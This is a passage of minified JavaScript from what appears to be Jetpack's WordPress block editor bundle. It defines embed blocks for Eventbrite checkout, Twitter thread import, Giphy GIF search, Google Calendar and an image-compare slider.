modal","jetpack"),clientId:n,styleOptions:a,onSelectStyle:r,activeStyle:e,attributes:t,viewportWidth:130})}renderEditEmbed(){const{className:e,noticeUI:t}=this.props,{editedUrl:n}=this.state,r=(0,i.Wp)()||(0,i.Ug)()?"http://support.wordpress.com/wordpress-editor/blocks/eventbrite-block/":"https://jetpack.com/support/jetpack-blocks/eventbrite-block/";return(0,o.createElement)("div",{className:e},(0,o.createElement)(l.Placeholder,{label:__("Eventbrite Checkout","jetpack"),instructions:__("Paste a link to an Eventbrite event to embed ticket checkout.","jetpack"),icon:v.qv,notices:t},(0,o.createElement)("form",{onSubmit:this.submitForm},(0,o.createElement)("input",{type:"url",value:n,className:"components-placeholder__input","aria-label":__("Eventbrite URL","jetpack"),placeholder:__("Enter an event URL to embed here…","jetpack"),onChange:e=>this.setState({editedUrl:e.target.value})}),(0,o.createElement)(l.Button,{variant:"secondary",type:"submit"},_x("Embed","submit button label","jetpack"))),(0,o.createElement)("div",{className:"components-placeholder__learn-more"},(0,o.createElement)(l.ExternalLink,{href:r},__("Learn more about Eventbrite embeds","jetpack")))))}renderInlinePreview(){const{className:e}=this.props,{eventId:t}=this.props.attributes;if(!t)return;const n=`eventbrite-widget-${t}`,r=`\n\t\t\t<script src="https://www.eventbrite.com/static/widgets/eb_widgets.js"><\/script>\n\t\t\t<style>\n\t\t\t\t/* Prevent scrollbar on the embed preview */\n\t\t\t\tbody {\n\t\t\t\t\toverflow: hidden;\n\t\t\t\t}\n\t\t\t\t/* Eventbrite embeds have a CSS height transition on loading, which causes <Sandbox>\n\t\t\t\tto not recognise the resizing. We need to disable that transition. */\n\t\t\t\t* {\n\t\t\t\t\ttransition: none !important;\n\t\t\t\t}\n\t\t\t</style>\n\t\t\t<script>\n\t\t\t\twindow.EBWidgets.createWidget({\n\t\t\t\t\twidgetType: 'checkout',\n\t\t\t\t\teventId: ${t},\n\t\t\t\t\tiframeContainerId: '${n}',\n\t\t\t\t});\n\t\t\t<\/script>\n\t\t\t<div id="${n}"></div>\n\t\t`;return(0,o.createElement)("div",{className:e},(0,o.createElement)(l.SandBox,{html:r}),(0,o.createElement)("div",{className:"block-library-embed__interactive-overlay"}))}render(){const{attributes:e}=this.props,{url:t,style:n}=e,{editingUrl:r,isResolvingUrl:a}=this.state;return a?this.renderLoading():r||!t||this.cannotEmbed()?this.renderEditEmbed():(0,o.createElement)(o.Fragment,null,this.renderInspectorControls(),(0,o.createElement)(s.BlockControls,null,(0,o.createElement)(f.J,{setEditingUrl:this.setEditingUrl})),"modal"===n?(0,o.createElement)(s.InnerBlocks,{template:[[v.Ss.name,v.Ss.attributes]],templateLock:"all"}):this.renderInlinePreview())}}t.Z=(0,l.withNotices)(k)},83772:function(e,t,n){"use strict";var r=n(31985),a=n(75334);(0,r.Z)(a.u2,a.Xd)},75334:function(e,t,n){"use strict";n.d(t,{Q7:function(){return f},Ss:function(){return p},Wh:function(){return m},Xd:function(){return k},qv:function(){return v},u2:function(){return g}});var r=n(51806),a=n(4981),o=n(55609),i=n(65736),s=n(70355),l=n(2785),c=n(1344),u=n(16078),d=n(86435);const __=i.__,_x=i._x,p={name:"jetpack/button",attributes:{element:"a",text:_x("Register","verb: e.g. register for an event.","jetpack"),uniqueId:"eventbrite-widget-id"}},m=/^\s*https?:\/\/(?:www\.)?(?:eventbrite\.[a-z.]+)\/e\/[^\/]*?(\d+)\/?(?:\?[^\/]*)?\s*$/i,h=/^\s*https?:\/\/(?:.+\.)?(?:eventbrite\.[a-z.]+)\/?(?:\?[^\/]*)?\s*$/i,f="https://www.eventbrite.com/e/test-event-tickets-123456789",g="eventbrite",b=__("Eventbrite Checkout","jetpack"),v=(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,r.createElement)(o.Rect,{x:"0",fill:"none",width:"24",height:"24"}),(0,r.createElement)(o.G,{id:"eventbrite-icon"},(0,r.createElement)(o.Path,{d:"M18.041,3.931L5.959,3C4.325,3,3,4.325,3,5.959v12.083C3,19.675,4.325,21,5.959,21l12.083-0.931C19.699,19.983,21,18.744,21,17.11V6.89C21,5.256,19.741,4.027,18.041,3.931zM16.933,8.17c-0.082,0.215-0.192,0.432-0.378,0.551c-0.188,0.122-0.489,0.132-0.799,0.132c-1.521,0-3.062-0.048-4.607-0.048c-0.152,0.708-0.304,1.416-0.451,2.128c0.932-0.004,1.873,0.005,2.81,0.005c0.726,0,1.462-0.069,1.586,0.525c0.04,0.189-0.001,0.426-0.052,0.615c-0.105,0.38-0.258,0.676-0.625,0.783c-0.185,0.054-0.408,0.058-0.646,0.058c-1.145,0-2.345,0.017-3.493,0.02c-0.169,0.772-0.328,1.553-0.489,2.333c1.57-0.005,3.067-0.041,4.633-0.058c0.627-0.007,1.085,0.194,1.009,0.85c-0.031,0.262-0.098,0.497-0.211,0.725c-0.102,0.208-0.248,0.376-0.488,0.452c-0.237,0.075-0.541,0.064-0.862,0.078c-0.304,0.014-0.614,0.008-0.924,0.016c-0.309,0.009-0.619,0.022-0.919,0.022c-1.253,0-2.429,0.08-3.683,0.073c-0.603-0.004-1.014-0.249-1.124-0.757c-0.059-0.273-0.018-0.58,0.036-0.841c0.541-2.592,1.083-5.176,1.629-7.763c0.056-0.265,0.114-0.511,0.225-0.714C9.279,7.051,9.534,6.834,9.9,6.735c0.368-0.099,0.883-0.047,1.344-0.047c0.305,0,0.612,0.008,0.914,0.016c0.925,0.026,1.817,0.03,2.747,0.053c0.304,0.007,0.615,0.016,0.915,0.016c0.621,0,1.17,0.073,1.245,0.614C17.104,7.675,17.014,7.954,16.933,8.17z"}))),k={title:b,description:__("Embed Eventbrite event details and ticket checkout.","jetpack"),icon:{src:v,foreground:(0,s.m)()},category:"embed",keywords:[_x("events","block search term","jetpack"),_x("tickets","block search term","jetpack")],supports:{html:!1,align:!0},attributes:l.Z,edit:u.Z,save:d.Z,transforms:{from:[{type:"raw",isMatch:e=>"P"===e.nodeName&&(m.test(e.textContent)||h.test(e.textContent)),transform:e=>(0,a.createBlock)("jetpack/eventbrite",{url:e.textContent.trim()})}]},example:{attributes:{url:f,eventId:123456789,style:"modal"},innerBlocks:[p]},deprecated:c.Z}},86435:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(51806),a=n(52175);function o(e){let{attributes:t}=e;const{eventId:n,style:o,url:i}=t;if(n)return"modal"===o?(0,r.createElement)("div",null,(0,r.createElement)(a.InnerBlocks.Content,null)):i&&(0,r.createElement)("a",{className:"eventbrite__direct-link",href:i},i)}},77825:function(e,t,n){"use strict";n.d(t,{N3:function(){return i},Ve:function(){return s},qq:function(){return l}});var r=n(51806),a=n(4981),o=n(69307);function i(e,t){const n=(0,r.createElement)("a",{href:e},e);t((0,a.createBlock)("core/paragraph",{content:(0,o.renderToString)(n)}))}function s(e){if(!e)return null;const t=e.match(/(\d+)\/?(?:\?[^\/]*)?\s*$/);return t&&t[1]?parseInt(t[1],10):null}function l(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return e&&"string"==typeof e?e.trim():null}},56071:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(92694),s=n(65736),l=n(13306);const __=s.__,c=e=>{if(e.isDeprecation)return e;if("core/embed"!==e.name)return e;const{edit:t}=e;return{...e,edit:(0,o.withNotices)((e=>{const{noticeOperations:n,noticeUI:i,onReplace:s}=e,{url:c}=e.attributes,{isGatheringStorm:u,unleashStorm:d}=(0,l.Z)({onReplace:s});return"twitter"!==e.attributes.providerNameSlug?(0,r.createElement)(t,e):(0,r.createElement)(r.Fragment,null,i,(0,r.createElement)(a.BlockControls,null,(0,r.createElement)(o.ToolbarGroup,{className:"gathering-tweetstorms__embed-toolbar"},(0,r.createElement)(o.ToolbarButton,{className:"gathering-tweetstorms__embed-toolbar-button",onClick:()=>d(c,n),label:__("Import the entire Twitter thread directly into this post.","jetpack"),showTooltip:!0,disabled:u||!c},__("Unroll","jetpack")),u&&(0,r.createElement)(o.ToolbarItem,{as:o.Spinner}))),(0,r.createElement)(t,e))}))}};(0,i.addFilter)("blocks.registerBlockType","jetpack/gathering-tweetstorms",c)},13306:function(e,t,n){"use strict";n.d(t,{Z:function(){return d}});var r=n(86989),a=n.n(r),o=n(4981),i=n(9818),s=n(69307),l=n(65736),c=n(96483),u=n(92819);const __=l.__;function d(e){let{onReplace:t}=e;const[n,r]=(0,s.useState)(!1),l=(0,i.useSelect)((e=>e("core/editor").getEditedPostAttribute("jetpack_publicize_connections")));return{isGatheringStorm:n,unleashStorm:(e,n)=>{if((0,u.isEmpty)(e))return;const s=e.match(/^https?:\/\/(?:www\.)?twitter\.com\/([^/]+)\/status\/\d+/);if((0,u.isEmpty)(s))return;const d=s[1];n.removeAllNotices(),r(!0),a()({path:(0,c.addQueryArgs)("/wpcom/v2/tweetstorm/gather",{url:e})}).then((e=>{if(r(!1),!(0,u.isArray)(e))return void n.createErrorNotice(__("An error occurred. Please try again later.","jetpack"));if((0,u.isEmpty)(e))return void n.createErrorNotice(__("We were unable to get any content from this tweet.","jetpack"));t(e.map((e=>{switch(e.type){case"paragraph":return(0,o.createBlock)("core/paragraph",{content:e.content});case"gallery":return(0,o.createBlock)("core/gallery",{images:e.images});case"image":return(0,o.createBlock)("core/image",{url:e.url,alt:e.alt});case"video":return(0,o.createBlock)("core/video",{src:e.url,caption:e.alt});case"embed":return(0,o.createBlock)("core/embed",{url:e.url})}})));(0,u.some)(l,(e=>"twitter"===e.service_name&&`@${d}`===e.display_name))||(0,i.dispatch)("core/notices").createWarningNotice(__("We were unable to verify that this Twitter thread was published on a Twitter account belonging to you. Please ensure you have permission to reproduce it before publishing.","jetpack")),(0,i.dispatch)("core/notices").createSuccessNotice(__("Twitter thread successfully imported","jetpack"),{type:"snackbar"})})).catch((e=>{r(!1),n.createErrorNotice(e.message)}))}}}},12084:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(69307),i=n(65736);const __=i.__;t.Z=(0,o.forwardRef)((function(e,t){let{onSubmit:n,onChange:o,value:i=""}=e;return(0,r.createElement)("form",{className:"wp-block-jetpack-gif_input-container",onSubmit:n},(0,r.createElement)("input",{type:"text",className:"wp-block-jetpack-gif_input components-placeholder__input",placeholder:__("Enter search terms, e.g. cat…","jetpack"),value:i,onChange:o,ref:t,"aria-labelledby":"wp-block-jetpack-gif_search-button"}),(0,r.createElement)(a.Button,{id:"wp-block-jetpack-gif_search-button",variant:"secondary",type:"submit"},__("Search","jetpack")))}))},72844:function(e,t,n){"use strict";n.d(t,{U:function(){return r}});const r="t1PkR1Vq0mzHueIFBvZSZErgFs9NBmYW"},57852:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(52175),o=n(55609);function i(){return(0,r.createElement)(a.InspectorControls,null,(0,r.createElement)(o.PanelBody,{className:"components-panel__body-gif-branding"},(0,r.createElement)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 202 22"},(0,r.createElement)(o.Path,{d:"M4.6 5.9H0v10h1.6v-3.1h3c4.8 0 4.8-6.9 0-6.9zm0 5.4h-3v-4h3c2.6.1 2.6 4 0 4zM51.2 12.3c2-.3 2.7-1.7 2.7-3.1 0-1.7-1.2-3.3-3.5-3.3h-4.6v10h1.6v-3.4h2.1l3 3.4h1.9l-.2-.3-3-3.3zM47.4 11V7.4h3c1.3 0 1.9.9 1.9 1.8s-.6 1.8-1.9 1.8h-3zM30.6 13.6L28 5.9h-1.1l-2.5 7.7-2.6-7.7H20l3.7 10H25l1.4-3.5L27.5 9l1.1 3.4 1.3 3.5h1.4l3.5-10h-1.7z"}),(0,r.createElement)(o.Path,{d:"M14.4 5.7c-3 0-5.1 2.2-5.1 5.2 0 2.6 1.6 5.1 5.1 5.1 3.5 0 5.1-2.5 5.1-5.2-.1-2.6-1.7-5.1-5.1-5.1zm-.1 8.9c-2.5 0-3.5-1.9-3.5-3.7 0-2.2 1.2-3.8 3.5-3.8 2.4 0 3.5 2 3.5 3.8.1 2-1 3.7-3.5 3.7zM57.7 11.6h5.5v-1.5h-5.5V7.4h5.7V5.9h-7.3v10h7.3v-1.6h-5.7zM38 14.3v-2.7h5.5v-1.5H38V7.4h5.7V5.9h-7.3v10h7.3v-1.6zM93 10.3l-2.7-4.4h-1.9V6l3.8 5.8v4.1h1.6v-4.1l4-5.8v-.1h-2zM69.3 5.9h-3.8v10h3.8c3.5 0 5.1-2.5 5-5.1-.1-2.5-1.6-4.9-5-4.9zm0 8.4h-2.2V7.4h2.2c2.3 0 3.4 1.7 3.4 3.4s-1 3.5-3.4 3.5zM86.3 10.7c.9-.4 1.4-1.1 1.4-2 0-2-1.5-2.8-3.4-2.8h-4.6v10h4.6c2 0 3.7-.7 3.7-2.8 0-.8-.5-2-1.7-2.4zm-5-3.4h3c1.2 0 1.8.7 1.8 1.4 0 .8-.6 1.3-1.8 1.3h-3V7.3zm3 7.1h-3v-2.9h3c.9 0 2.1.5 2.1 1.6 0 1-1.2 1.3-2.1 1.3zM113.9 13.3h5.3V16c-1.2.9-2.9 1.1-4 1.1-4.2 0-5.6-3.3-5.6-6 0-4.1 2.2-6.1 5.6-6.1 1.4 0 3.2.4 4.8 1.8l3.4-3.4C120.7.6 118.1 0 115.2 0c-7.8 0-11.4 5.6-11.4 11s3.1 10.9 11.4 10.9c4 0 7.6-1.4 8.9-4.1V8.6h-10.2v4.7zM171.9 8.5h-7.4V.6h-5.9v20.8h5.9v-7.8h7.4v7.8h5.9V.6h-5.9zM195.1.6l-4.5 7.1-4.3-7.1h-6.6v.2l7.9 12.3v8.3h5.9v-8.3L201.8.9V.6zM127.4.6h5.9v20.8h-5.9zM147.6.6h-10.1v20.8h5.9v-5.6h4.2c5.6-.1 8.3-3.4 8.3-7.6.1-4.1-2.7-7.6-8.3-7.6zm0 10.2h-4.2V5.6h4.2c1.6 0 2.5 1.2 2.5 2.6 0 1.4-.9 2.6-2.5 2.6z"}))))}},61266:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(69307),s=n(65736),l=n(65235),c=n.n(l),u=n(12084),d=n(57852),p=n(27147),m=n(80163),h=n(25073);const __=s.__;t.Z=function(e){let{attributes:t,setAttributes:n,className:s,isSelected:l}=e;const{align:f,caption:g,giphyUrl:b,searchText:v,paddingTop:k}=t,y=c()(s,`align${f}`),[E,w]=(0,i.useState)(!1),_=(0,i.createRef)(),{isFetching:C,giphyData:S,fetchGiphyData:j}=(0,p.Z)(),x=()=>{_.current.focus(),w(!1)};(0,i.useEffect)((()=>{S&&S[0]&&n((0,m.ix)(S[0]))}),[S,n]);const P=e=>{e.preventDefault(),t.searchText&&!C&&j((0,m.Gr)(t.searchText))},L=e=>n({searchText:e.target.value});return(0,r.createElement)("div",{className:y},(0,r.createElement)(d.Z,null),b?(0,r.createElement)("figure",null,l&&(0,r.createElement)(u.Z,{onSubmit:P,onChange:L,value:v,ref:_}),l&&S&&S.length>1&&(0,r.createElement)("div",{className:"wp-block-jetpack-gif_thumbnails-container"},S.map((e=>{const t={backgroundImage:`url(${e.images.downsized_still.url})`};return(0,r.createElement)("button",{className:"wp-block-jetpack-gif_thumbnail-container",key:e.id,onClick:t=>{t.preventDefault(),(e=>{n((0,m.ix)(e))})(e)},style:t})}))),(0,r.createElement)("div",{className:"wp-block-jetpack-gif-wrapper",style:{paddingTop:k}},(0,r.createElement)("div",{className:"wp-block-jetpack-gif_cover",onClick:x,onKeyDown:x,role:"button",tabIndex:"0"}),(0,r.createElement)("iframe",{src:b,title:v})),(!a.RichText.isEmpty(g)||l)&&!!b&&(0,r.createElement)(a.RichText,{className:"wp-block-jetpack-gif-caption gallery-caption",inlineToolbar:!0,isSelected:E,onFocus:()=>w(!1),onChange:e=>n({caption:e}),placeholder:__("Write caption…","jetpack"),tagName:"figcaption",value:g})):(0,r.createElement)(o.Placeholder,{className:"wp-block-jetpack-gif_placeholder",icon:h.qv,label:h.TN,instructions:__("Search for a term or paste a Giphy URL","jetpack")},(0,r.createElement)(u.Z,{onSubmit:P,onChange:L,value:v,ref:_})))}},63139:function(e,t,n){"use strict";var r=n(31985),a=n(25073);(0,r.Z)(a.u2,a.Xd)},27147:function(e,t,n){"use strict";var r=n(69307);t.Z=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];const[t,n]=(0,r.useState)(!1),[a,o]=(0,r.useState)(e),[i,s]=(0,r.useState)("");return(0,r.useEffect)((()=>{if(!i)return;(async()=>{n(!0);const e=await fetch(i).then((e=>!!e.ok&&e)).catch((()=>!1));if(e){const t=await e.json(),n=void 0!==t.data.images?[t.data]:t.data;n[0].images&&o(n)}n(!1)})()}),[i]),{isFetching:t,giphyData:a,fetchGiphyData:s}}},25073:function(e,t,n){"use strict";n.d(t,{TN:function(){return c},Xd:function(){return d},qv:function(){return u},u2:function(){return l}});var r=n(51806),a=n(55609),o=n(65736),i=n(70355),s=n(61266);const __=o.__,_x=o._x,l="gif",c=__("GIF","jetpack"),u=(0,r.createElement)(a.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,r.createElement)(a.Path,{fill:"none",d:"M0 0h24v24H0V0z"}),(0,r.createElement)(a.Path,{d:"M18 13v7H4V6h5.02c.05-.71.22-1.38.48-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-5l-2-2zm-1.5 5h-11l2.75-3.53 1.96 2.36 2.75-3.54L16.5 18zm2.8-9.11c.44-.7.7-1.51.7-2.39C20 4.01 17.99 2 15.5 2S11 4.01 11 6.5s2.01 4.5 4.49 4.5c.88 0 1.7-.26 2.39-.7L21 13.42 22.42 12 19.3 8.89zM15.5 9C14.12 9 13 7.88 13 6.5S14.12 4 15.5 4 18 5.12 18 6.5 16.88 9 15.5 9z"})),d={title:c,icon:{src:u,foreground:(0,i.m)()},category:"embed",keywords:[_x("animated","block search term","jetpack"),_x("giphy","block search term","jetpack"),_x("image","block search term","jetpack")],description:__("Search for and insert an animated image.","jetpack"),attributes:{align:{type:"string",default:"center"},caption:{type:"string"},giphyUrl:{type:"string"},searchText:{type:"string"},paddingTop:{type:"string",default:"56.2%"}},supports:{html:!1,align:!0},edit:s.Z,save:()=>null,example:{attributes:{align:"center",giphyUrl:"https://giphy.com/embed/fxKWgoOG9hzPPkE1oc",paddingTop:"100%",searchText:"WordPress"}}}},80163:function(e,t,n){"use strict";n.d(t,{Gr:function(){return a},ix:function(){return s}});var r=n(72844);const a=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",t=null;e=e.trim();const n=e.match(/^https?:\/\/(media\.|i\.)?giphy\.com\/(embed|gifs|media)?\/?([-\w]*)(\/giphy)?(\.gif)?$/);return n&&n[3]&&(t=function(){let e=arguments.length>1?arguments[1]:void 0;const t=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:"").split(e);return t[t.length-1]}(n[3],"-")),t?`https://api.giphy.com/v1/gifs/${encodeURIComponent(t)}?api_key=${encodeURIComponent(r.U)}`:(e=>`https://api.giphy.com/v1/gifs/search?q=${encodeURIComponent(e)}&api_key=${encodeURIComponent(r.U)}&limit=10`)(e)},o=e=>`${Math.floor(e.images.original.height/e.images.original.width*100)}%`,i=e=>e?.embed_url,s=e=>({giphyUrl:i(e),paddingTop:o(e)})},4966:function(e,t,n){"use strict";var r=n(51806),a=n(55609),o=n(65736);const __=o.__,_x=o._x;t.Z=e=>{const{className:t,embedValue:n,onChange:o,onSubmit:i}=e;return(0,r.createElement)(a.PanelBody,{title:__("Calendar settings","jetpack"),initialOpen:!1},(0,r.createElement)("form",{onSubmit:i,className:t},(0,r.createElement)("textarea",{type:"text",value:n,className:"components-placeholder__input","aria-label":__("Google Calendar URL or iframe","jetpack"),placeholder:__("Enter URL or iframe to embed here…","jetpack"),onChange:o}),(0,r.createElement)(a.Button,{variant:"secondary",type:"submit"},_x("Embed","button label","jetpack"))))}},81907:function(e,t,n){"use strict";var r=n(51806),a=n(13419),o=n(52175),i=n(4981),s=n(55609),l=n(94333),c=n(69307),u=n(65736),d=n(90162),p=n(4966),m=n(47875),h=n(4525);const __=u.__,_x=u._x;t.Z=(0,l.compose)(s.withNotices,(0,d.withViewportMatch)({isMobile:"< small"}))((function(e){const{attributes:{url:t,height:n},className:l,isMobile:u,isSelected:d,name:f,noticeOperations:g,noticeUI:b,setAttributes:v}=e,[k,y]=(0,c.useState)(t||""),[E,w]=(0,c.useState)(!1),[_,C]=(0,c.useState)(!1);(0,c.useEffect)((()=>{!d&&_&&C(!1)}),[d,_]);const S=()=>{C(!0)},j=e=>{e&&e.preventDefault();const t=(0,h.L7)(k.trim());if(!h.Wh.test(t.url))return g.removeAllNotices(),void g.createErrorNotice(__("Your calendar couldn't be embedded. Please double check your URL or Embed Code. Please note, you need to use the 'Public URL' or 'Embed Code', the 'Shareable Link' will not work.","jetpack"));v(t),w(!1),g.removeAllNotices()},x=(0,i.getBlockDefaultClassName)(f),P=`<iframe src="${t}" style="border:0" scrolling="no" frameborder="0" height="${u?"300":n}"></iframe>`,L=(0,r.createElement)(s.ExternalLink,{href:"https://en.support.wordpress.com/google-calendar/"},__("Enable Permissions for the calendar you want to share","jetpack")),T=(0,r.createElement)(o.InspectorControls,null,(0,r.createElement)(p.Z,{className:`${x}-embed-form-sidebar`,embedValue:k,onChange:e=>y(e.target.value),onSubmit:j}));if(E||!t){const e=(0,a.Wp)()||(0,a.Ug)()?"https://en.support.wordpress.com/wordpress-editor/blocks/google-calendar/":"https://jetpack.com/support/jetpack-blocks/google-calendar/";return(0,r.createElement)("div",{className:l},T,(0,r.createElement)(s.Placeholder,{className:l,label:__("Google Calendar","jetpack"),icon:m.Z,instructions:(0,r.createElement)("ol",{className:`${x}-placeholder-instructions`},(0,r.createElement)("li",null,L),(0,r.createElement)("li",null,__("Paste the embed code you copied from your Google Calendar below","jetpack"))),notices:b},(N=`${x}-embed-form-editor`,(0,r.createElement)("form",{onSubmit:j,className:N},(0,r.createElement)("textarea",{type:"text",value:k,className:"components-placeholder__input","aria-label":__("Google Calendar URL or iframe","jetpack"),placeholder:__("Enter URL or iframe to embed here…","jetpack"),onChange:e=>y(e.target.value)}),(0,r.createElement)(s.Button,{variant:"secondary",type:"submit"},_x("Embed","button label","jetpack")))),(0,r.createElement)("div",{className:`${x}-placeholder-links`},(0,r.createElement)(s.ExternalLink,{href:e},__("Learn more","jetpack")))))}var N;return(0,r.createElement)("div",{className:l},T,(0,r.createElement)("div",null,(0,r.createElement)(s.SandBox,{html:P,onFocus:S}),!_&&(0,r.createElement)("div",{className:"block-library-embed__interactive-overlay",onMouseUp:S})))}))},58710:function(e,t,n){"use strict";var r=n(31985),a=n(13839);(0,r.Z)(a.u2,a.Xd)},47875:function(e,t,n){"use strict";var r=n(51806),a=n(55609);t.Z=(0,r.createElement)(a.SVG,{height:"23",viewBox:"0 0 24 23",width:"24",xmlns:"http://www.w3.org/2000/svg"},(0,r.createElement)(a.Path,{d:"M19.5,23h-15c-2.2,0-4-1.8-4-4V4c0-2.2,1.8-4,4-4h15c2.2,0,4,1.8,4,4v15C23.5,21.2,21.7,23,19.5,23z M4.5,2 c-1.1,0-2,0.9-2,2v15c0,1.1,0.9,2,2,2h15c1.1,0,2-0.9,2-2V4c0-1.1-0.9-2-2-2H4.5z M6.9,3.9L6.9,3.9c0.5,0,0.9,0.4,0.9,0.9V5 c0,0.5-0.4,0.9-0.9,0.9l0,0C6.5,5.9,6.1,5.5,6.1,5V4.7C6.1,4.3,6.5,3.9,6.9,3.9z M17,3.9L17,3.9c0.5,0,0.9,0.4,0.9,0.9V5 c0,0.5-0.4,0.9-0.9,0.9l0,0c-0.5,0-0.9-0.4-0.9-0.9V4.7C16.2,4.3,16.5,3.9,17,3.9z M8.8,17.6c1.8,0,3.2-1,3.2-2.4 c0-1.1-0.7-1.8-1.8-1.9v-0.1c0.9-0.2,1.5-0.9,1.5-1.8c0-1.3-1.2-2.2-2.9-2.2c-1.8,0-2.9,1-3,2.5h1.6c0-0.7,0.6-1.1,1.4-1.1 c0.8,0,1.3,0.4,1.3,1.1c0,0.7-0.5,1.1-1.3,1.1h-1v1.3h1c0.9,0,1.5,0.4,1.5,1.1c0,0.7-0.6,1.2-1.4,1.2c-0.9,0-1.4-0.4-1.5-1.1H5.7 C5.8,16.6,7,17.6,8.8,17.6z M17.6,17.4V9.3h-1.7l-2.1,1.4v1.6l2-1.4h0.1v6.4H17.6z"}))},13839:function(e,t,n){"use strict";n.d(t,{Xd:function(){return d},u2:function(){return u}});var r=n(51806),a=n(4981),o=n(65736),i=n(70355),s=n(81907),l=n(47875),c=n(4525);const __=o.__,_x=o._x,u="google-calendar",d={title:__("Google Calendar","jetpack"),description:__("Embed a Google Calendar","jetpack"),keywords:[_x("events","block search term","jetpack"),_x("dates","block search term","jetpack"),_x("schedule","block search term","jetpack"),_x("appointments","block search term","jetpack")],icon:{src:l.Z,foreground:(0,i.m)()},category:"embed",supports:{align:!0,alignWide:!0,html:!1},attributes:{url:{type:"string"},height:{type:"integer",default:600}},edit:s.Z,save:e=>{let{attributes:{url:t}}=e;return(0,r.createElement)("a",{href:t},t)},transforms:{from:[{type:"shortcode",tag:"googleapps",isMatch:function(e){return"calendar"===e.named.domain},attributes:{url:{type:"string",shortcode:e=>{let{named:{domain:t,dir:n,query:r}}=e;return`https://${t}.google.com/${n}?${r}`}}}},{type:"raw",isMatch:e=>"P"===e.nodeName&&c.Wh.test(e.textContent),transform:e=>(0,a.createBlock)("jetpack/google-calendar",{url:e.textContent.trim()})},{type:"raw",isMatch:e=>"FIGURE"===e.nodeName&&c.E6.test(e.innerHTML),transform:e=>{const{url:t,height:n}=(0,c.jj)(e.innerHTML.trim());return(0,a.createBlock)("jetpack/google-calendar",{url:t,height:n})}}]},example:{attributes:{url:"https://calendar.google.com/calendar/embed?src=jb4bu80jirp0u11a6niie21pp4%40group.calendar.google.com&ctz=America/New_York"}}}},4525:function(e,t,n){"use strict";n.d(t,{E6:function(){return o},L7:function(){return u},Wh:function(){return a},jj:function(){return c}});const r="s*https?://calendar.google.com/calendar",a=new RegExp(`^${r}`,"i"),o=new RegExp(`<iframe((?:\\s+\\w+=(['"]).*?\\2)*)\\s+src=(["'])(${r}.*?)\\3((?:\\s+\\w+=(['"]).*?\\6)*)`,"i"),i=new RegExp(`${r}\\?cid=([-A-Za-z0-9+/]+={0,3})`,"i"),s=/\s+(\w+)=(["'])(.*?)\2/gi;function l(e){const t=i.exec(e);if(t)return"https://calendar.google.com/calendar/embed?src="+encodeURIComponent(atob(t[1]))}function c(e){const t=o.exec(e);if(!t)return;const n={};return t.forEach(((e,t)=>{if(0===t)return;if(a.test(e))return void(n.url=e);let r;for(;null!==(r=s.exec(e));)n[r[1]]=r[3]})),{url:n.url,width:n.width,height:n.height}}function u(e){return o.test(e)?c(e):i.test(e)?{url:l(e)}:{url:e}}},76579:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(51806),a=n(55609),o=n(65736);const __=o.__;function i(e){let{attributes:t,setAttributes:n}=e;const{orientation:o}=t;return(0,r.createElement)(a.PanelBody,{title:__("Orientation","jetpack")},(0,r.createElement)(a.RadioControl,{selected:o||"horizontal",options:[{label:__("Side by side","jetpack"),value:"horizontal"},{label:__("Above and below","jetpack"),value:"vertical"}],onChange:e=>n({orientation:e})}))}},63157:function(e,t,n){"use strict";var r=n(51806),a=n(52175),o=n(55609),i=n(94333),s=n(69307),l=n(65736),c=n(13369),u=n(76579),d=n(86504),p=n(37879);n(8503);const __=l.__;t.Z=e=>{let{attributes:t,className:n,clientId:l,isSelected:m,setAttributes:h}=e;const{align:f,imageBefore:g,imageAfter:b,caption:v,orientation:k}=t;let y=null,E=null;const w=(0,s.useRef)();i.useResizeObserver&&([y,E]=(0,i.useResizeObserver)(),(0,p.Z)((e=>{e>0&&"undefined"!=typeof juxtapose&&juxtapose.sliders&&juxtapose.sliders.forEach((t=>{t.wrapper.parentElement.id===l&&t.optimizeWrapper(e)}))}),200,E.width));const _=g&&g.url&&b&&b.url?"image-compare__comparison juxtapose":"image-compare__placeholder";return(0,s.useLayoutEffect)((()=>{g.url&&b.url&&"undefined"!=typeof juxtapose&&juxtapose.makeSlider(w?.current)}),[f,g,b,k]),(0,r.createElement)("figure",{className:n,id:l},y,(0,r.createElement)(a.InspectorControls,{key:"controls"},(0,r.createElement)(u.Z,{attributes:t,setAttributes:h})),(0,r.createElement)("div",{ref:w,className:_,"data-mode":k||"horizontal"},(0,r.createElement)(o.Placeholder,{label:null},(0,r.createElement)("div",{className:"image-compare__image-before"},(0,r.createElement)(d.Z,{image:{id:g.id,url:g.url,alt:g.alt},placeHolderLabel:__("Image before","jetpack"),onChange:e=>{if("image"===e.media_type||"image"===e.type){var t,n;const{src:r}=(0,c.z)(e),{alt:a,id:o,media_details:i}=e,s=null!==(t=i?.width)&&void 0!==t?t:e.width,l=null!==(n=i?.height)&&void 0!==n?n:e.height;h({imageBefore:{id:o,url:r||e.url,alt:a,width:s,height:l}})}}})),(0,r.createElement)("div",{className:"image-compare__image-after"},(0,r.createElement)(d.Z,{image:{id:b.id,url:b.url,alt:b.alt},placeHolderLabel:__("Image after","jetpack"),onChange:e=>{if("image"===e.media_type||"image"===e.type){var t,n;const{src:r}=(0,c.z)(e),{alt:a,id:o,media_details:i}=e,s=null!==(t=i?.width)&&void 0!==t?t:e.width,l=null!==(n=i?.height)&&void 